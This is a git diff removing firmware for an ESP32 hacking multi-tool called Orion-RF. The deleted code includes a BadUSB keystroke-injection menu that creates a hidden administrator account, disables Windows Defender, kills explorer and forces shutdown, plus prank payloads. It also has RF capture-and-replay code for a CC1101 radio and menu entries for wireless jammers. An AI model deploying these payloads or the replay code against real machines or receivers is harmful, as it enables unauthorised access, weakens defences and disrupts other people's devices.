0x78, - 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; - - u8g2.setFontMode(1); - u8g2.setBitmapMode(1); - // download - u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); - - // EviSmile1 - u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); - - for (uint8_t i = 0; i <= duration; i++) { - u8g2.drawBox(1, 46, i * (126.0 / duration), 8); - u8g2.sendBuffer(); - delay(50); - } -} - - -void badUSBMenu(int index) { - //switch (index) - // { - // case 0: - // runBadUSBDemo(); - // break; - - // case 1: - // Serial.println("Open CMD payload"); - // runBadUSBOpenCMD(); - // break; - - // case 2: - // Serial.println("Rickroll payload"); - // runBadUSBRickroll(); - // break; - // } - - - switch(index) { - case 0: // demo - - showRunningScreen("DEMO"); - - // Run dialog (Win + R) - Keyboard.press(KEY_LEFT_GUI); - Keyboard.press('r'); - Keyboard.releaseAll(); - delay(1000); - - Keyboard.println("notepad"); - delay(1500); - - delay(2000); - - Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); - Keyboard.println("#-FEATURES:"); - Keyboard.println("1- WIFI ATTACKS"); - Keyboard.println("2- BLE ATTACKS"); - Keyboard.println("3- BAD USB"); - Keyboard.println("4- NFC"); - Keyboard.println("5- INFRARED"); - Keyboard.println("6- SUB-GHZ"); - Keyboard.println("7- GPIO"); - Keyboard.println("8- APPS"); - Keyboard.println("9- SETTINGS"); - Keyboard.println("10- FILES"); - - break; - case 1: // keyboard - //runLoop(hidkeyboard); - break; - case 2: // saved scripts - //hidInit(); - //runLoop(hidscriptmenu); - - break; - - case 3: // Open Notepad - - showRunningScreen("notepad"); - runCommand("notepad"); - break; - case 4: // Open CMD - showRunningScreen("opening cmd"); - runCommand("cmd"); - break; - case 5: // Show IP - showRunningScreen("Getting IP"); - runCommand("cmd"); - delay(500); - Keyboard.print("ipconfig"); - Keyboard.write(KEY_RETURN); - break; - case 6: // Shutdown - showRunningScreen("shutdown"); - runCommand("shutdown /s /t 0"); - break; - case 7: // RickRoll - showRunningScreen("rickroll"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); - Keyboard.write(KEY_RETURN); - break; - case 8: // Create Admin User - showRunningScreen("create admin user"); - runCommand("cmd"); - delay(500); - Keyboard.print("net user hacker 1234 /add"); - Keyboard.write(KEY_RETURN); - delay(300); - Keyboard.print("net localgroup administrators hacker /add"); - Keyboard.write(KEY_RETURN); - break; - case 9: // Disable Windows Defender - showRunningScreen("disable windoes defender"); - runCommand("powershell"); - delay(500); - Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true"); - Keyboard.write(KEY_RETURN); - break; - case 10: // Open YouTube - showRunningScreen("youtube"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.youtube.com"); - Keyboard.write(KEY_RETURN); - break; - case 11: // Lock PC - showRunningScreen("lock pc"); - runCommand("rundll32.exe user32.dll,LockWorkStation"); - break; - case 12: // Fake Update - showRunningScreen("fake update"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://fakeupdate.net/win10u/"); - Keyboard.write(KEY_RETURN); - break; - - case 13: // Endless Notepad - showRunningScreen("endless notepad"); - for (int i = 0; i < 10; i++) { - runCommand("notepad"); - delay(500); - } - break; - - case 14: // Fake BSOD (opens fullscreen image) - showRunningScreen(" fake bsod"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://fakeupdate.net/bsod/"); - Keyboard.write(KEY_RETURN); - break; - - case 15: // Flip screen - showRunningScreen("Flip screen"); - Keyboard.press(KEY_LEFT_CTRL); - Keyboard.press(KEY_LEFT_ALT); - Keyboard.press(KEY_DOWN_ARROW); - delay(100); - Keyboard.releaseAll(); - break; - - case 16: // Matrix effect - showRunningScreen("Matrix effect"); - runCommand("cmd"); - delay(500); - Keyboard.print("color 0A"); - Keyboard.write(KEY_RETURN); - Keyboard.print(":a"); - Keyboard.write(KEY_RETURN); - Keyboard.print("echo %random%%random%%random%%random%"); - Keyboard.write(KEY_RETURN); - Keyboard.print("goto a"); - Keyboard.write(KEY_RETURN); - break; - - case 17: // I'm watching you prank - showRunningScreen(" iam watching you"); - for (int i = 0; i < 5; i++) { - runCommand("notepad"); - delay(1000); - Keyboard.print("I'm watching you..."); - delay(5000); - } - break; - - case 18: // Open Google - showRunningScreen("open google"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.google.com"); - Keyboard.write(KEY_RETURN); - break; - - case 19: // Open telegram - showRunningScreen("open telegram"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://web.telegram.org/"); - Keyboard.write(KEY_RETURN); - break; - - case 20: // Alarm Sound - showRunningScreen("alarm sound"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.soundjay.com/button/beep-07.wav"); - Keyboard.write(KEY_RETURN); - break; - - case 21: // Endless CMD - showRunningScreen("endless smd"); - for (int i = 0; i < 20; i++) { - runCommand("cmd"); - delay(300); - } - break; - - case 22: // Gibberish - showRunningScreen("gibberish"); - for (int i = 0; i < 100; i++) { - char c = random(33, 127); - Keyboard.write(c); - delay(50); - } - break; - - case 23: // CAPSLOCK Spam - showRunningScreen("caps lock spam"); - for (int i = 0; i < 10; i++) { - Keyboard.press(KEY_CAPS_LOCK); - delay(200); - Keyboard.release(KEY_CAPS_LOCK); - delay(200); - } - break; - - case 24: // Calculator - showRunningScreen("claculator"); - runCommand("calc"); - break; - - case 25: // Auto Type "Hacked!" - showRunningScreen("hacked"); - for (int i = 0; i < 5; i++) { - Keyboard.print("Hacked!"); - Keyboard.write(KEY_RETURN); - delay(1000); - } - break; - - case 26: // Turn off monitor (Windows only) - showRunningScreen("turn off monitor"); - runCommand("powershell"); - delay(500); - Keyboard.print( - "(Add-Type '[DllImport(\"user32.dll\")]public static extern int " - "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a " - "-Pas)::SendMessage(-1,0x0112,0xF170,2)"); - Keyboard.write(KEY_RETURN); - break; - - case 27: // RegEdit - showRunningScreen("regedit"); - runCommand("regedit"); - break; - - case 28: // Kill Explorer - showRunningScreen(" kill explorer"); - runCommand("taskkill /f /im explorer.exe"); - break; - - case 29: // Flash screen (by changing background rapidly) - showRunningScreen(" flash screen"); - for (int i = 0; i < 10; i++) { - runCommand("color 4F"); - delay(200); - runCommand("color 1F"); - delay(200); - } - break; - - case 30: // Rename Desktop Files (basic prank) - - showRunningScreen("rename desktop files"); - runCommand("powershell"); - delay(500); - Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | " - "Rename-Item -NewName {'hacked'+$_.Name}"); - Keyboard.write(KEY_RETURN); - break; - - case 31: // Toggle WiFi (requires admin) - showRunningScreen("toggle wifi"); - runCommand("cmd"); - delay(500); - Keyboard.print("netsh interface set interface Wi-Fi disabled"); - Keyboard.write(KEY_RETURN); - delay(1000); - Keyboard.print("netsh interface set interface Wi-Fi enabled"); - Keyboard.write(KEY_RETURN); - break; - - case 32: // Screenshot - showRunningScreen("screenshot"); - runCommand("powershell"); - delay(500); - Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;"); - Keyboard.write(KEY_RETURN); - delay(300); - Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')"); - Keyboard.write(KEY_RETURN); - break; - - case 33: // Emoji spam - showRunningScreen("emoji spam"); - for (int i = 0; i < 10; i++) { - Keyboard.print("💀"); - Keyboard.write(KEY_RETURN); - delay(500); - } - break; - - case 34: // Control Panel - showRunningScreen("control panel"); - runCommand("control"); - break; - - case 35: // Troll wallpaper - showRunningScreen("troll wallpaper"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://i.imgur.com/trollface.png"); - Keyboard.write(KEY_RETURN); - break; - - case 36: // MS Paint - showRunningScreen("ms paint"); - runCommand("mspaint"); - break; - - case 37: // Auto Tab Switcher - showRunningScreen(" auto tab switcher"); - for (int i = 0; i < 10; i++) { - Keyboard.press(KEY_LEFT_CTRL); - Keyboard.press(KEY_TAB); - delay(100); - Keyboard.releaseAll(); - delay(300); - } - break; -} -} - - diff --git a/firmware/badusb.h b/firmware/badusb.h deleted file mode 100644 index a3390ec..0000000 --- a/firmware/badusb.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -void badUSBMenu(int index); -void showRunningScreen(String taskName, uint8_t duration); -void runCommand(const char *command); diff --git a/firmware/ble_mouse.cpp b/firmware/ble_mouse.cpp deleted file mode 100644 index 8e666ec..0000000 --- a/firmware/ble_mouse.cpp +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include "badusb.h" -#include "config.h" - -#include "buttons.h" -#include "display.h" - -// ===== BLE MOUSE ===== -// BleMouse bleMouse("Orion-RF", "Orion-RF", 100); -extern BleMouse bleMouse; - -// ===== MAIN ===== -void ble_mouse_run() -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(10, 25, "BLE Mouse"); - u8g2.drawStr(10, 45, "Connecting..."); - u8g2.sendBuffer(); - - delay(800); - - while (1) - { - // 🔥 EXIT FIRST (clean) - if (btnBack()) break; - - bool connected = bleMouse.isConnected(); - - int dx = 0; - int dy = 0; - - if (connected) - { - if (!digitalRead(BTN_UP)) dy = -6; - if (!digitalRead(BTN_DOWN)) dy = 6; - if (!digitalRead(BTN_LEFT)) dx = -6; - if (!digitalRead(BTN_RIGHT)) dx = 6; - - if (dx || dy) - bleMouse.move(dx, dy); - - // ✅ single click (not spam) - static bool lastSelect = false; - bool currentSelect = !digitalRead(BTN_SELECT); - - if (currentSelect && !lastSelect) - bleMouse.click(MOUSE_LEFT); - - lastSelect = currentSelect; - } - - // ===== UI ===== - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - - u8g2.drawStr(10, 20, "BLE Mouse"); - - if (connected) - u8g2.drawStr(10, 35, "Connected"); - else - u8g2.drawStr(10, 35, "Waiting"); - - u8g2.drawStr(10, 55, "BACK = Exit"); - - u8g2.sendBuffer(); - - delay(10); // important for BLE stability - } -} - - - diff --git a/firmware/ble_mouse.h b/firmware/ble_mouse.h deleted file mode 100644 index fc6a4cc..0000000 --- a/firmware/ble_mouse.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void ble_mouse_run(); diff --git a/firmware/blescanner.cpp b/firmware/blescanner.cpp deleted file mode 100644 index cc86dd2..0000000 --- a/firmware/blescanner.cpp +++ /dev/null @@ -1,209 +0,0 @@ -#include -#include -#include -#include -#include - -#include "display.h" -#include "buttons.h" -#include "config.h" - -// ===== DEVICE STRUCT ===== -struct BLEDeviceInfo { - String name; - String address; - int rssi; - String manufacturer; - String deviceType; -}; - -static std::vector devices; -static BLEScan *pBLEScan; -static int selectedIndex = 0; - -// ===== CALLBACK ===== -class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { - void onResult(BLEAdvertisedDevice advertisedDevice) override { - BLEDeviceInfo dev; - - String tempName = advertisedDevice.getName(); - - if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { - tempName = advertisedDevice.getServiceData().c_str(); - } - - if (tempName.length() == 0) { - String addr = advertisedDevice.getAddress().toString().c_str(); - tempName = "BLE_" + addr.substring(addr.length() - 5); - } - - dev.name = tempName; - dev.address = advertisedDevice.getAddress().toString().c_str(); - dev.rssi = advertisedDevice.getRSSI(); - - if (advertisedDevice.haveManufacturerData()) { - String mData = advertisedDevice.getManufacturerData().c_str(); - - if (mData.length() >= 2) { - char buffer[10]; - sprintf(buffer, "0x%02X%02X", - (uint8_t)mData[1], - (uint8_t)mData[0]); - dev.manufacturer = String(buffer); - } else { - dev.manufacturer = "unknown"; - } - } else { - dev.manufacturer = "unknown"; - } - - if (advertisedDevice.haveServiceUUID()) { - dev.deviceType = - advertisedDevice.getServiceUUID().toString().c_str(); - } else { - dev.deviceType = "unknown"; - } - - devices.push_back(dev); - } -}; - -// ===== DRAW MENU ===== -void ble_drawMenu() -{ - u8g2.clearBuffer(); - - if (devices.empty()) - { - u8g2.setFont(u8g2_font_6x12_tr); - u8g2.drawStr(0, 30, "No devices"); - u8g2.drawStr(0, 45, "Press BACK"); - } - else - { - u8g2.setFont(u8g2_font_5x8_tr); - - char counter[20]; - sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); - u8g2.drawStr(0, 8, counter); - - u8g2.setFont(u8g2_font_6x10_tr); - - for (int i = 0; i < 3; i++) - { - int idx = selectedIndex + i; - if (idx >= devices.size()) break; - - int y = 22 + i * 14; - - if (i == 0) - { - u8g2.drawBox(0, y - 10, 128, 12); - u8g2.setDrawColor(0); - } - - String text = devices[idx].name; - if (text.length() > 12) - text = text.substring(0, 12) + ".."; - - text += " (" + String(devices[idx].rssi) + ")"; - - u8g2.drawStr(2, y, text.c_str()); - - if (i == 0) - u8g2.setDrawColor(1); - } - } - - u8g2.sendBuffer(); -} - -// ===== DEVICE DETAILS ===== -void ble_drawDetails(const BLEDeviceInfo &dev) -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); - - u8g2.drawStr(0, 10, dev.name.c_str()); - u8g2.drawStr(0, 20, dev.address.c_str()); - - char rssiStr[20]; - sprintf(rssiStr, "RSSI: %d", dev.rssi); - u8g2.drawStr(0, 30, rssiStr); - - u8g2.drawStr(0, 40, dev.manufacturer.c_str()); - - u8g2.sendBuffer(); -} - -// ===== SCAN ===== -void ble_scan() -{ - devices.clear(); - - u8g2.clearBuffer(); - u8g2.drawStr(10, 30, "Scanning..."); - u8g2.sendBuffer(); - - BLEDevice::init(""); - - pBLEScan = BLEDevice::getScan(); - pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); - pBLEScan->setActiveScan(true); - pBLEScan->setInterval(100); - pBLEScan->setWindow(99); - - pBLEScan->start(5, false); - - // remove duplicates - std::vector unique; - for (auto &d : devices) - { - bool exists = false; - for (auto &u : unique) - { - if (u.address == d.address) - { - exists = true; - break; - } - } - if (!exists) unique.push_back(d); - } - - devices = unique; -} - -// ===== MAIN LOOP ===== -void ble_loop() -{ - static uint32_t lastPress = 0; - - if (millis() - lastPress < 200) - return; - - if (btnDown() && selectedIndex < (int)devices.size() - 1) - { - selectedIndex++; - ble_drawMenu(); - lastPress = millis(); - } - else if (btnUp() && selectedIndex > 0) - { - selectedIndex--; - ble_drawMenu(); - lastPress = millis(); - } - else if (btnSelect() && !devices.empty()) - { - ble_drawDetails(devices[selectedIndex]); - delay(3000); - ble_drawMenu(); - lastPress = millis(); - } - else if (btnBack()) - { - lastPress = millis(); - return; - } -} diff --git a/firmware/blescanner.h b/firmware/blescanner.h deleted file mode 100644 index a642de2..0000000 --- a/firmware/blescanner.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -void ble_scan(); -void ble_loop(); -void ble_drawMenu(); diff --git a/firmware/buttons.cpp b/firmware/buttons.cpp deleted file mode 100644 index 27ce40b..0000000 --- a/firmware/buttons.cpp +++ /dev/null @@ -1,20 +0,0 @@ -#include "buttons.h" -#include -#include "config.h" - -void buttonsInit() -{ - pinMode(BTN_UP, INPUT_PULLUP); - pinMode(BTN_DOWN, INPUT_PULLUP); - pinMode(BTN_SELECT, INPUT_PULLUP); - pinMode(BTN_BACK, INPUT_PULLUP); - pinMode(BTN_RIGHT, INPUT_PULLUP); - pinMode(BTN_LEFT, INPUT_PULLUP); -} - -bool btnUp() { return !digitalRead(BTN_UP); } -bool btnDown() { return !digitalRead(BTN_DOWN); } -bool btnSelect() { return !digitalRead(BTN_SELECT); } -bool btnBack() { return !digitalRead(BTN_BACK); } -bool btnRight() { return !digitalRead(BTN_RIGHT); } -bool btnLeft() { return !digitalRead(BTN_LEFT); } diff --git a/firmware/buttons.h b/firmware/buttons.h deleted file mode 100644 index cfa9fa3..0000000 --- a/firmware/buttons.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -void buttonsInit(); - -bool btnUp(); -bool btnDown(); -bool btnSelect(); -bool btnBack(); -bool btnRight(); -bool btnLeft(); diff --git a/firmware/cc1101.cpp b/firmware/cc1101.cpp deleted file mode 100644 index dcbbbee..0000000 --- a/firmware/cc1101.cpp +++ /dev/null @@ -1,150 +0,0 @@ -#include -#include "ELECHOUSE_CC1101_SRC_DRV.h" -#include "cc1101.h" -#include "config.h" - -// ===== CONFIG ===== -#define RAW_BUF_MAX 512 - -// ===== STATE ===== -static bool cc1101Inited = false; - -// ===== CAPTURE STATE ===== -volatile unsigned long captureBuffer[RAW_BUF_MAX]; -volatile int pulseIndex = 0; -volatile unsigned long lastEdgeTime = 0; -volatile bool capturing = false; - -// ===== RF SETTINGS ===== -float currentFreq = 433.92; -float dataRate = 3.79372; -float deviation = 0.0; -float rxBW = 325.0; -int powerLevel = 10; - -// ===== ISR ===== -void IRAM_ATTR pulseISR() -{ - unsigned long now = micros(); - - if (!capturing) return; - if (pulseIndex >= RAW_BUF_MAX) return; - - unsigned long duration = now - lastEdgeTime; - - if (duration < 50) return; - - captureBuffer[pulseIndex++] = duration; - lastEdgeTime = now; -} - -// ===== OOK SETUP ===== -void setupOOKMode() -{ - ELECHOUSE_cc1101.SetRx(); - ELECHOUSE_cc1101.setMHZ(currentFreq); - - ELECHOUSE_cc1101.setModulation(0); // ASK/OOK - ELECHOUSE_cc1101.setDRate(dataRate); - ELECHOUSE_cc1101.setDeviation(0); - ELECHOUSE_cc1101.setRxBW(rxBW); - ELECHOUSE_cc1101.setSyncMode(0); - ELECHOUSE_cc1101.setPA(powerLevel); -} - -// ===== INIT (LAZY, SAFE) ===== -bool initCC1101() -{ - if (cc1101Inited) - return true; - - Serial.println("Initializing CC1101..."); - - // IMPORTANT: no detachInterrupt here (causes crash if not installed) - - ELECHOUSE_cc1101.setSpiPin( - cc1101_SCK, - cc1101_MISO, - cc1101_MOSI, - CC1101_CS - ); - - ELECHOUSE_cc1101.setGDO(CC1101_GDO0, CC1101_GDO2); - - if (!ELECHOUSE_cc1101.getCC1101()) - { - Serial.println("❌ CC1101 NOT FOUND"); - return false; - } - - delay(10); // let SPI settle - - ELECHOUSE_cc1101.Init(); // THIS WAS YOUR FREEZE POINT - setupOOKMode(); - - pinMode(CC1101_GDO0, INPUT); - - Serial.println("✅ CC1101 READY"); - - cc1101Inited = true; - return true; -} - -// ===== CAPTURE CONTROL ===== -void startCapture() -{ - pulseIndex = 0; - capturing = true; - lastEdgeTime = micros(); - - attachInterrupt( - digitalPinToInterrupt(CC1101_GDO0), - pulseISR, - CHANGE - ); - - Serial.println("Capture started"); -} - -bool isCC1101Ready() { - return cc1101Inited; -} - -void stopCapture() -{ - capturing = false; - - detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); - - Serial.println("Capture stopped"); -} - -// ===== DEBUG PRINT ===== -void printCapture() -{ - Serial.println("Captured pulses:"); - - for (int i = 0; i < pulseIndex; i++) - { - Serial.println(captureBuffer[i]); - } -} - - -// ===== REPLAY ===== -void replaySignal() -{ - Serial.println("Replaying..."); - - ELECHOUSE_cc1101.SetTx(); - pinMode(CC1101_GDO0, OUTPUT); - - for (int i = 0; i < pulseIndex; i++) - { - digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); - delayMicroseconds(captureBuffer[i]); - } - - digitalWrite(CC1101_GDO0, LOW); - ELECHOUSE_cc1101.SetRx(); -} diff --git a/firmware/cc1101.h b/firmware/cc1101.h deleted file mode 100644 index a403edb..0000000 --- a/firmware/cc1101.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -bool initCC1101(); -bool isCC1101Ready(); - -void startCapture(); -void stopCapture(); -void printCapture(); -void replaySignal(); diff --git a/firmware/config.h b/firmware/config.h deleted file mode 100644 index ce40ebc..0000000 --- a/firmware/config.h +++ /dev/null @@ -1,48 +0,0 @@ -#pragma once - -// ================= NRF24 ================= -#define CE1_PIN 10 -#define CSN1_PIN 11 - -#define CE2_PIN 12 -#define CSN2_PIN 13 - -#define NRF_SCK 18 -#define NRF_MISO 16 -#define NRF_MOSI 17 - -// ================== OLED =================== -#define OLED_SDA_PIN 8 -#define OLED_SCL_PIN 9 - -/////////////////cc1101 vars////////////// -// CC1101 via FSPI -#define cc1101_SCK 15 -#define cc1101_MISO 3 -#define cc1101_MOSI 46 - -//////////////cc1101(1)////////// -#define CC1101_CS 45 -#define CC1101_GDO0 21 -#define CC1101_GDO2 47 - -/////////////cc1101(2)////////// -#define CC1101_2_CS 40 -#define CC1101_2_GDO0 41 -#define CC1101_2_GDO2 42 - -// SD Card via HSPI -#define SD_SCK 14 -#define SD_MISO 39 -#define SD_MOSI 38 -#define SD_CS 37 - - -// =================== Buttons ==================== -#define BTN_UP 4 -#define BTN_DOWN 5 -#define BTN_SELECT 6 -#define BTN_BACK 7 -#define BTN_LEFT 1 -#define BTN_RIGHT 2 - diff --git a/firmware/device_check.cpp b/firmware/device_check.cpp deleted file mode 100644 index c569d23..0000000 --- a/firmware/device_check.cpp +++ /dev/null @@ -1,193 +0,0 @@ -#include -#include -#include -#include -#include "ELECHOUSE_CC1101_SRC_DRV.h" - -#include "display.h" -#include "buttons.h" -#include "config.h" - -// ===== EXTERNALS ===== -extern RF24 radio1; -extern RF24 radio2; -extern SPIClass *RADIO_SPI; -extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; - -// ===== RESULTS ===== -struct DeviceStatus { - bool nrf1 = false; - bool nrf2 = false; - bool cc1101_1 = false; - bool cc1101_2 = false; - bool oled = true; - bool buttons = false; -}; - -// ===== NRF CHECK ===== -bool checkNRF(RF24 &radio) -{ - // safer: only init if needed - if (!radio.isChipConnected()) { - if (!radio.begin(RADIO_SPI)) - return false; - } - - return radio.isChipConnected(); -} - -// ===== CC1101 CHECK ===== -bool checkCC1101(uint8_t csPin) -{ - ELECHOUSE_cc1101.setSpiPin( - cc1101_SCK, - cc1101_MISO, - cc1101_MOSI, - csPin - ); - - delay(5); - - return ELECHOUSE_cc1101.getCC1101(); -} - -// ===== BUTTON CHECK ===== -bool checkButtons() -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 20, "Press any button..."); - u8g2.sendBuffer(); - - unsigned long start = millis(); - - while (millis() - start < 2000) - { - if (!digitalRead(BTN_UP) || - !digitalRead(BTN_DOWN) || - !digitalRead(BTN_SELECT) || - !digitalRead(BTN_BACK) || - !digitalRead(BTN_RIGHT) || - !digitalRead(BTN_LEFT)) - { - return true; - } - } - - return false; -} - -// ===== DRAW ===== -#define MAX_ITEMS 6 -#define VISIBLE_ROWS 5 - -const char* labels[MAX_ITEMS] = { - "NRF1", - "NRF2", - "CC1101-1", - "CC1101-2", - "BUTTONS", - "OLED" -}; - -bool values[MAX_ITEMS]; - -int selectedIndex = 0; -int offset = 0; - -void drawStatus(DeviceStatus &s) -{ - values[0] = s.nrf1; - values[1] = s.nrf2; - values[2] = s.cc1101_1; - values[3] = s.cc1101_2; - values[4] = s.buttons; - values[5] = s.oled; - - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - - // scrolling logic - if (selectedIndex < offset) - offset = selectedIndex; - - if (selectedIndex >= offset + VISIBLE_ROWS) - offset = selectedIndex - VISIBLE_ROWS + 1; - - for (int i = 0; i < VISIBLE_ROWS; i++) - { - int item = offset + i; - if (item >= MAX_ITEMS) break; - - int y = 12 + i * 10; - - if (item == selectedIndex) - { - u8g2.drawBox(0, y - 9, 128, 10); - u8g2.setDrawColor(0); - } - - u8g2.drawStr(2, y, labels[item]); - - if (values[item]) - u8g2.drawStr(80, y, "OK"); - else - u8g2.drawStr(80, y, "FAIL"); - - if (item == selectedIndex) - u8g2.setDrawColor(1); - } - - u8g2.sendBuffer(); -} - -// ===== MAIN ===== -void device_check_run() -{ - DeviceStatus status; - - Serial.println("Running device diagnostics..."); - - // NRF - status.nrf1 = checkNRF(radio1); - status.nrf2 = checkNRF(radio2); - - // CC1101 - status.cc1101_1 = checkCC1101(CC1101_CS); - status.cc1101_2 = checkCC1101(CC1101_2_CS); - - // Buttons - status.buttons = checkButtons(); - - drawStatus(status); - - Serial.println("Diagnostics complete"); - - while (1) -{ - drawStatus(status); - - if (btnUp()) - { - selectedIndex--; - if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1; - delay(150); - } - - if (btnDown()) - { - selectedIndex++; - if (selectedIndex >= MAX_ITEMS) selectedIndex = 0; - delay(150); - } - - if (btnBack()) - { - delay(150); - break; - } -}} - - - diff --git a/firmware/device_check.h b/firmware/device_check.h deleted file mode 100644 index 3d6b250..0000000 --- a/firmware/device_check.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void device_check_run(); diff --git a/firmware/display.cpp b/firmware/display.cpp deleted file mode 100644 index 12c9ac9..0000000 --- a/firmware/display.cpp +++ /dev/null @@ -1,16 +0,0 @@ -#include "display.h" -#include -#include "config.h" - - -U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( - U8G2_R0, - U8X8_PIN_NONE -); - -void displayInit() -{ - Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); - u8g2.begin(); - u8g2.setFont(u8g2_font_6x12_tr); -} diff --git a/firmware/display.h b/firmware/display.h deleted file mode 100644 index 0b48b75..0000000 --- a/firmware/display.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -#include - -extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; - -void displayInit(); diff --git a/firmware/firmware.ino b/firmware/firmware.ino deleted file mode 100644 index 83ba1f8..0000000 --- a/firmware/firmware.ino +++ /dev/null @@ -1,128 +0,0 @@ -#include -#include -#include - -#include -#include -#include - -#include -#include - -#include "ELECHOUSE_CC1101_SRC_DRV.h" - -#include -#include - -#include -#include -#include -#include - - -#include "display.h" -#include "buttons.h" -#include "menu.h" - -#include "config.h" -#include "cc1101.h" - -// ================= USB HID ================= -USBHIDKeyboard Keyboard; - -// ===== BLE MOUSE ===== -BleMouse bleMouse("Orion-RF", "Orion-RF", 100); - - -RF24 radio1(CE1_PIN, CSN1_PIN); -RF24 radio2(CE2_PIN, CSN2_PIN); -SPIClass *RADIO_SPI; - - -void deactivateNRF1() { - digitalWrite(CSN1_PIN, HIGH); - digitalWrite(CE1_PIN, LOW); -} - -void deactivateNRF2() { - digitalWrite(CSN2_PIN, HIGH); - digitalWrite(CE2_PIN, LOW); -} - - -// ================= SYSTEM INFO ================= -void printSystemUsage() -{ - esp_chip_info_t chip_info; - - esp_chip_info(&chip_info); - - Serial.printf("CPU cores: %d\n", chip_info.cores); - - Serial.printf( - "Free heap: %d bytes\n", - heap_caps_get_free_size(MALLOC_CAP_DEFAULT) - ); - - Serial.printf( - "PSRAM free: %d bytes\n", - heap_caps_get_free_size(MALLOC_CAP_SPIRAM) - ); -} - -void showSplash() -{ - u8g2.clearBuffer(); - - u8g2.setFont(u8g2_font_logisoso20_tr); // big font - u8g2.drawStr(10, 40, "Orion-RF"); - - u8g2.setFont(u8g2_font_5x8_tr); // small subtitle - u8g2.drawStr(25, 58, "Initializing..."); - - u8g2.sendBuffer(); - - delay(1500); // 1.5 sec -} - - -// ================= SETUP ================= -void setup() -{ - Serial.begin(115200); - - displayInit(); - showSplash(); - - buttonsInit(); - menuInit(); - - delay(1500); - - USB.begin(); - Keyboard.begin(); - - - - // NRF SPI safety - //pinMode(CSN1_PIN, OUTPUT); - //digitalWrite(CSN1_PIN, HIGH); - - //pinMode(CSN2_PIN, OUTPUT); - //digitalWrite(CSN2_PIN, HIGH); - deactivateNRF1(); - deactivateNRF2(); - - RADIO_SPI = new SPIClass(FSPI); - RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); - - printSystemUsage(); - - Serial.println("SYSTEM READY"); -} - -// ================= LOOP ================= -void loop() -{ - menuLoop(); -} diff --git a/firmware/menu.cpp b/firmware/menu.cpp deleted file mode 100644 index 9880b89..0000000 --- a/firmware/menu.cpp +++ /dev/null @@ -1,402 +0,0 @@ -#include -#include "menu.h" -#include "display.h" -#include "buttons.h" -#include "badusb.h" -#include "nrf24.h" -#include "cc1101.h" -#include "blescanner.h" -#include "wifi_scan.h" -#include "wifi_analyzer.h" -#include "device_check.h" -#include "ble_mouse.h" -#include "sysinfo.h" -#include "BleMouse.h" -#include "nfc.h" - -// ================= MENU DATA ================= -extern BleMouse bleMouse; - -// Root menu -const char *mainMenuItems[] = { - "BadUSB", - "RF Capture", - "NRF Tools", - "BLE Scan", - "Wifi Scan", - "Wifi Analyzer", - "System Info", - "Device Check", - "Restart", - "Ble Mouse", - "NFC Tools" -}; - -Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; - - -// NRF Tools menu -const char *nrfToolsItems[] = { - "BLE Jammer", - "Bluetooth Jammer", - "Wifi Jammer", - "USB Wireless", - "Video TX", - "Zigbee", - "RC" - -}; - -Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; - - -// BadUSB submenu -const char *badusbItems[] = {"DEMO", - "KEYBOARD", - "HID SCRIPT", - "Open Notepad", - "Open CMD", - "Show IP", - "Shutdown", - "RickRoll", - "Create Admin", - "Disable Defender", - "Open YouTube", - "Lock PC", - "Fake Update", - "Endless Notepad", - "Fake BSOD", - "Flip Screen", - "Matrix Effect", - "I'm Watching U", - "Open Google", - "Open telegram", - "Play Alarm Sound", - "Endless CMD", - "Type Gibberish", - "Spam CAPSLOCK", - "Open Calc", - "Auto 'Hacked!'", - "Turn Off Monitor", - "Open RegEdit", - "Kill Explorer", - "Flash Screen", - "Rename Desktop", - "Toggle WiFi", - "Auto Screenshot", - "Spam Emojis", - "Open Ctrl Panel", - "Troll 